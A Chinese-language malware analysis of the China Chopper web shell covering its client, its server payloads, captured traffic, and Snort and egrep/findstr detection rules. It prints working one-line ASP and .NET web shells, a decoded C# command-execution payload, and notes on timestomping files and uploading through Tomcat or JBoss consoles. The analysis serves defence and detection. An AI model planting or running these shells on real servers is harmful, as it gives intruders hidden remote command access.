Web Shell客戶端:
中國菜刀的客戶端可在www.maicaidao.com下載到,
Web shell (CnC) Client ? ? ? ?MD5
caidao.exe ? ? ? ? ? ? ? ? ? ?5001ef50c7e869253a7c152a638eab8a
客戶端使用UPX加殼,有220672個字節大小,如圖1所示:
圖1,使用WinHex工具查看
使用脫殼工具脫殼,可以看到一些隱藏的細節:
C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2011
UPX 3.08w ? ? ? Markus Oberhumer, Laszlo Molnar & John Reiser ? Dec 12th 2011
File size ? ? ? ? Ratio ? ? ?Format ? ? ?Name
-------------------- ? ------ ? ----------- ? -----------
700416 <- ? ?220672 ? 31.51% ? ?win32/pe ? ? decomp.exe
Unpacked 1 file.
使用PEID(一個免費檢測軟件使用的加殼手法的工具),我們可以看到解壓縮后的客戶端程序使用Visual C + + 6.0編寫,如圖2所示:
圖2 PEID顯示程序所用語言
因為字符串沒有進行編碼,所以可以通過打印輸出該后門如何通信,我們可以看到一個url google.com.hk(圖3),以及參考文本Chopper(圖4)
圖3 打印字符串refer www.google.com.hk
圖4 菜刀的客戶端二進制文件參考文檔
打開中國菜刀界面,我們可以看到該工具是一款圖形界面工具,并且提供了添加自己的目標、管理的功能,在客戶端軟件上,右鍵單擊選擇“添加”,輸入IP地址,以及密碼和編碼方式,如圖5所示
圖5:中國菜刀客戶端界面
服務端payload組件
中國菜刀的工具是一款Webshell管理工具,相應必然有一個服務端的程序,它支持各種語言,如ASP、ASPX、PHP、JSP、CFM,一些官網下載原始程序MD5 HASH如下:
Web shell Payload MD5 Hash
Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499
例子如下:
PHP:ASP:<%evalrequest("pass")%>
.NET:<%@PageLanguage="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
在實際使用過程中,替換PASS為鏈接的時候需要的密碼。
功能
上面簡單介紹了中國菜刀的客戶端和服務端的,下面來介紹下該款工具的其他功能,中國菜刀包含了“安全掃描”功能,攻擊者能夠使用爬蟲或暴力破解來攻擊目標站點,如下圖:
在除了發現漏洞之外,中國菜刀最強大的莫過于管理功能了,包含以下內容:
1、文件管理(文件資源管理器)
2、數據庫管理(DB客戶端)
3、虛擬終端(命令行)
在中國菜刀的客戶端界面中,右鍵單擊一個目標可以查看相應的功能列表,如圖7:
文件管理
中國菜刀作為一個遠程訪問工具(RAT),包含了常見的上傳、下載、編輯、刪除、復制、重命名以及改變文件的時間戳。如圖8:
修改文件功能現在常見的webshell就帶了該功能,圖9顯示了測試目錄的三個文件,因為Windows資源管理器只顯示“修改日期”字段,所以通常情況下,能夠達到隱藏操作的目的:
使用工具將文件修改和其他兩個文件相同,如圖10,可以看到文件的修改的日期和其他兩個文件一致,如果不是專業的人士,一般不會看出這幾個文件的區別:
當文件的創建日期和修改日期被修改之后,查出異常文件非常麻煩,需要分析主文件表MFT以及FTK,fireeye建議使用工具mftdump來進行分析,該工具能夠提取文件元數據進行分析。
下表顯示了從MFT中提取的Webshell時間戳,注意"fn*"字段包含了文件的原始時間。
Category ? ? ? ? ? Pre-touch match Post-touch match
siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48
siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56
siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48
siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56
fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01
fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03
fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42
fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04
數據庫管理
中國菜刀支持各種數據庫,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等,數據庫操作界面,內置了一些常用的數據庫語句,能夠自動顯示表名、列名,查詢語句,并且內置了常用的數據庫語句。如下圖11:
鏈接之后,菜刀提供了一些常見的數據庫語句,如圖12:
命令行功能
最后,菜刀提供了一個命令行界面,能夠通過命令行shell進行操作系統級別的互動,當然繼承的權限是WEB應用的權限。如圖13:
Payload屬性
除了以上的功能之外,中國菜刀的能夠在黑客圈廣泛使用,還有以下幾個因素:
1、大小
2、服務端內容
3、客戶端內容
4、是否免殺
大小
中國菜刀的服務端腳本非常小,是典型的一句話木馬,其中aspx服務端軟件只有73字節,見圖14,相比其他傳統的webshell可見它的優越性。
服務端內容
中國菜刀的服務端代碼除了簡潔之外,并且支持多種加密、編碼,下圖是aspx的服務端代碼,
客戶端內容
在瀏覽器不會產生任何客戶端代碼,如圖16:
殺毒軟件檢測:
大多數殺毒軟件不能檢測出該工具。如下圖:
平臺:
web服務器平臺——JSP, ASP, ASPX, PHP, 或 CFM。同時在Windows和Linux適用。在系列一的分析里面已經展示過“中國菜刀”在windows 2003 IIS 中運行ASPX的情況。在這一部分里,講展示運行在Linux平臺下的PHP情況。如下圖所示,PHP版本的內容極其精簡。
依賴與不同的平臺,“中國菜刀”有不同的可選項。下圖顯示了在Linux平臺下的文件管理特性,(類似于Windows)
下圖顯示了在MySQL下其數據庫客戶端例子,(對Linux目標服務器的數據庫管理)
如下圖所示,虛擬終端命令行也長得很像。但是使用Linux命令而不是Windows命令
上傳機制:
由于它的大小,格式,以及簡單的payload,“中國菜刀”的傳輸機制可以很靈活多樣。以下任意一種方法都可以進行傳輸
通過WebDAV文件上傳
通過JBoss jmx-console 或者Apache的Tomcat管理頁面上傳
遠程代碼執行下載
通過其他方式接入后傳輸
通訊分析:
我們已經看過它在服務器端的payload以及控制web shell的客戶端。接下來,我們檢查一下“中國菜刀”的通訊網絡流量。我們通過抓包軟件,分析其服務端和客戶端的通訊情況,如下圖所示,客戶端在80端口上,以HTTP POST方式通訊。
利用抓包軟件Wireshark的“follow the TCP”功能可以看到整個TCP數據交互過程。如下圖所示,上面紅色部分為攻擊者(客戶端)POST提交控制命令的內容,下面藍色部分為被控端返回結果
從圖中可見攻擊控制代碼經過Base64編碼,我們利用Web調試器Fiddler的TextWizard功能可以輕易解碼,看看攻擊者到底發送了什么。(注意%3D是URL編碼,實際上是“=”)Fiddler需要這個轉換一下。
其攻擊payload的編碼情況如下如下所示
Password=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
使用Fiddler的text wizard功能將其base64解碼為明文, 如下圖所示
解碼后的數據如下所示:
varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z1"])));
vare=newSystem.Diagnostics.Process();
varout:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;c.RedirectStandardError=true;
e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z2"]));
e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());
上面這段代碼的意思是使用base64解碼存儲在z1、z2這兩個參數中的數據。接下來我們來查看z1與z2對應的值。
注意下面加粗部分參數z1與z2:
&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
base64解碼參數對應的值,如下所示:
z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]
其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。該操作的意思就是執行cmd命令,列出當前用戶與當前目錄,執行結果如下所示:
->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-
檢測:
now,我們知道中國菜刀的流量通信的特征,可以利用網絡或主機級別的防護軟件檢測這種惡意通信。
網絡:
可以利用Snort編寫規則檢測中國菜刀的流量,能夠輕松的捕獲到異常數據,Keith Tyler在他的博客中給出了一個基本的IDS規則:
alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)
為了減少誤報,我們將該段規則修改了下,只檢測數據包內容中包含FromBase64String以及z1,如下:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg: "China Chopper with first Command Detected";
flow:to_server,established; content: "FromBase64String";
content: "z1"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000101;)
以下規則更進一步優化,以下規則在數據包中查找FromBase64String,并且利用正則表達式匹配z后面任意一到三的數字組合,如Z1、Z10、Z100等。
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg: "China Chopper with all Commands Detected"; flow:to_server,established;
content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000102;)
這些IDS特征都可以進一步優化,OK,我們了解了網絡層面如何檢測中國菜刀數據包,接下來介紹下如何通過主機級別的檢測發現該數據包。
主機:
在Linux上最快最簡單的方法查找中國菜刀,可以利用egrep+正則表達式識別被感染的文件,如下:
egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php
egrep+正則表達式是一個強大的組合,國外安全研究者Ian Ahl編寫了一些正則表達式教程,如下:
另外,Window提供了一種方法,通過findstr命令加上正則表達式搜索文件。如下圖:
可以看到在Windows上正則表達式與linux略有區別,如下:
findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php
以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正則表達式即可,如下:
egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx
如果你要查找一些隱藏的PHP或ASPX文件,可以使用dir命令來,如下圖:
dir /S /A /B *.php
Findstr還可以搜索子目錄:
findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php